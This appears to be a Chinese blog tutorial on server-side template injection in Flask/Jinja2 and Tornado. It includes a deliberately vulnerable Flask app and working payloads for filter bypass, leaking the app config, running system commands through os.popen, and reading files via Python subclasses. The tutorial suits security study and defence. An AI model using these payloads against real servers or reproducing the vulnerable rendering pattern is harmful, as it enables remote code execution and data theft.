• SSTI模板注入


    一、SSTI模板注入

    解释:SSTI(Server-Side Template Injection)是一种在服务器端模板中注入恶意代码的攻击技术。它利用了模板引擎的漏洞,使攻击者能够将恶意代码插入到模板中,在服务器端执行这些代码,例如python的flask就存在容易出现这个问题。

    危害:

    1. 代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。

    2. 敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。

    3. 垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。

    4. DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

    二、SSTI模板绕过

    1. 传参绕过

    例如:{{''[request.args.a]}}?a=__class__相当于{{''.__class__}}

    读取文件:{{''[request.args.a][request.args.b][2][request.args.c]()[40](文件的路径)[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read(下面有非绕过读取的方法)

    2. .绕过

    {{''.__class__}}等价于{{''["__class__"]}}
    
    • 1

    3.[]绕过

    {{''["__class__"]}}等价于{{"".__getattribute__("__class__")}}
    
    • 1

    4.关键字绕过

    {{''["__class__"]}}等价于{{"".__getattribute__("__cla""ss__")}}
    
    • 1

    三、SSTI模板注入案例

    1.JinJa2框架

    示例:
    python

    # render_template则不会出现这个ssti注入的问题,会自动转义
    from flask import Flask, render_template, request, render_template_string
    
    app = Flask(__name__)
    
    @app.route('/', methods=['GET', 'POST'])
    def index():
        if request.method == 'GET':
            user_input = request.args.get('flag')
            html = '''%s''' % user_input
            return render_template_string(html)
        return render_template_string('use get')
    
    if __name__ == '__main__':
        app.run(debug=True)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    __class__  返回类型所属的对象
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    __dict__ 保存类实例或对象实例的属性变量键值对字典
    
    • 1
    • 2
    • 3
    • 4

    1.1 获取配置信息

    1. {{config}}
    2. {{self.__dict__._TemplateReference__context.config}}
    3. {{url_for.__globals__['current_app'].config}}
    4. {{get_flashed_messages.__globals__['current_app'].config}}

    1.2 执行命令

    测试代码:http://127.0.0.1:5000/?flag={{ config.__class__.__init__.__globals__['os'].popen('ipconfig').read() }}

    1. config.class.init.globals[‘os’].popen(‘任意执行的命令’)
    2. read()将反馈的内容打印出来
    3. config.__class__.__init__.__globals__['os'].popen('ipconfig').read():通过ipconfig如果有打印可以得知对方为windows;若ifconfig有打印则对方为linux

    1.3 读取文件

    代码:{{''.__class__.__mro__[2].__subclasses__()[40](文件的路径).read() }}

    2.tornado框架

    解释:tornado有时也存在类似的问题,这里就不去探究具体的原理,大家可以在网上查询相关文章tornado模板注入,可以尝试的注入代码{{ handler.settings }}

  • 相关阅读:
    被斯坦福抄作业了?在线体验下:国产大模型确实越来越棒啦!
    常用设计模式之.Net示例代码合集
    2022 LGR 非专业级别软件能力认证第一轮 (SCP-S) 提高级 C++语言模拟试题
    72-Java的选择排序、二分查找、Lambda表达式
    【吴恩达机器学习笔记】十四、推荐系统
    m基于matlab的DQPSK调制解调技术的仿真
    基于微信旅游景区景点购票小程序设计与实现 开题报告
    通过redis在控制台模拟手机验证码功能(java)
    杰理下载器强制下载工具的使用介绍_AC695N696NAD14AD15全系列支持
    uniCloud 入门前端数据库
  • 原文地址:https://blog.csdn.net/weixin_46765649/article/details/133953827